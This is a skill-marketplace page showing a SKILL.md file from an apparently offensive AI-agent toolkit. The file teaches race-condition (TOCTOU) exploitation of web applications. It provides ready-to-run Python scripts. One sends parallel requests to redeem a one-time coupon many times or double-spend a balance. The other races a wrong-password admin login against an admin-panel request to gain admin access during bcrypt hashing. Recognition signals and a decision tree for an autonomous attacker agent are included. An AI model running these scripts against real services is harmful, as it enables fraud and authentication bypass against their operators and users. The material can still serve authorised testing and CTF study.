Skip to main content

race-condition

Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 2일 17:44
감지된 SKILL.md 언어
영어
스타
5,522
포크
1,048

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
race-condition
description
Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"TOCTOU, race condition, concurrent request, session_write_before_check, last-write-wins, double-spend, parallel POST, coupon double-redeem, balance race, transfer race, check-then-act, time-of-check time-of-use, parallel GET POST, multi-endpoint race, session leak, atomic check, bcrypt slow auth"}
# Race Conditions (TOCTOU) Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable. ## Recognition Signals Trigger this skill when ANY of the following are present: - **Slow auth path**: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row. - **`session[k] = form[k]` BEFORE validation**: e.g. login writes `session["user"] = posted_username` before checking the password — the session row carries attacker-chosen state during the bcrypt sleep. - **Check-then-act money flows**: balance/quota/coupon/transfer endpoints that do `if x.balance >= n: x.balance -= n` without a single atomic UPDATE-with-WHERE-balance>=n. - **Idempotency-key-less POSTs** to mutating endpoints — same payload N times in parallel produces N writes. - **Challenge tag** includes `race_condition`, `toctou`, `concurrent`, `last-write-wins`, or `double-spend`. (Note: `smuggling_desync` is a parser-disagreement attack, NOT a race — route to `/skills/standard/exploit/web/smuggling/SKILL.md`.) - **Session-coupled endpoints**: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently. ## Single-Endpoint Race — Double Submit Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe. ```python # python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30 python3 - <<'PY' import concurrent.futures, requests, sys URL = "https://<TARGET>/redeem" COOKIES = {"session": "<SESSION>"} PAYLOAD = {"coupon": "ONETIME50"} N = 20 def fire(_): return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex: codes = list(ex.map(fire, range(N))) print("status counts:", {c: codes.count(c) for c in set(codes)}) print("non-error wins:", sum(1 for c in codes if 200 <= c < 300)) PY ``` Win condition: more than one `200`/`201` for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst — multiple debits/credits = race won. ### Verification (≥3 reproductions) A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes. ```python # Repeat the burst across 3 fresh trials python3 - <<'PY' import concurrent.futures, requests # ... fire 20 parallel POSTs, count successes ... # Run 3 times against reset state, log each trial's win count. PY ``` ## Multi-Endpoint State-Leak Race The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet. Pattern: - `POST /login` with `username=admin&password=wrong` — server writes `session["user"]="admin"` BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms). - `GET /admin_panel` — checks only `session["user"] == "admin"`. - During the bcrypt window, `/admin_panel` returns admin content. After bcrypt, `/login` clears the session and returns 401. ```python python3 - <<'PY' import concurrent.futures, requests, time S = requests.Session() LOGIN = "https://<TARGET>/login" TARGET = "https://<TARGET>/admin_panel" CREDS = {"username": "admin", "password": "wrong"} def hit_login(): return S.post(LOGIN, data=CREDS, timeout=5).status_code def hit_target(): # Stagger by ~50ms so the read lands inside the bcrypt window time.sleep(0.05) r = S.get(TARGET, timeout=5) return r.status_code, len(r.content), r.text[:200] with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex: f1 = ex.submit(hit_login) f2 = ex.submit(hit_target) print("login:", f1.result()) print("target:", f2.result()) PY ``` Tune the stagger (`time.sleep`) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write timeline" table for endpoint-to-session-key mapping. ### Verification (≥3 reproductions) Same rule as single-endpoint: re-run the parallel pair ≥3 times. A leak is only confirmed if the privileged read consistently succeeds during the write's slow window. Log each trial's body length / status code. ## Anti-Patterns (Do NOT) These are sandbox-hostile and make a clean reproduction impossible: - **No bash heredocs of `python3 - <<'PY'`** chained through bash subshells with `&` — use a single `python3 -c`/`python3 - <<'PY'` block as shown. - **No `&` backgrounding** to fake parallelism — use `concurrent.futures.ThreadPoolExecutor`. - **No unbounded `nc -l`, `tail -f`, `sleep` loops** — every HTTP probe MUST set a tool-level timeout so a slow target cannot wedge the shell. Every loop MUST be bounded. - **No empty-command-with-timeout** like `timeout 5 bash -c ""` — that's a recon scope-creep tell. - **No fork-bombs** — keep `max_workers ≤ 30`. Higher counts trigger sandbox throttling, hide the race, and pollute logs. ## Output Files ``` ./ ├── race_<target>_<endpoint>_burst.json # Per-trial status code histograms ├── race_<target>_<endpoint>_evidence.txt # Multi-write proof (balance, redemption rows, etc.) └── race_<target>_summary.md # Endpoint, payload, ≥3 reproductions, win condition ``` ## Decision Tree ``` Slow-op auth path? (bcrypt/Argon2) └── YES → multi-endpoint state-leak race (login + privileged GET) Money/quota/coupon endpoint, no idempotency key? └── YES → single-endpoint double-submit race Session write before validation (session[k]=form[k] then check)? └── YES → multi-endpoint race against any reader of session[k] None of the above + tag says race? └── Re-read recon's session-write timeline. If absent, flag back to recon. ```
GitHub에서 보기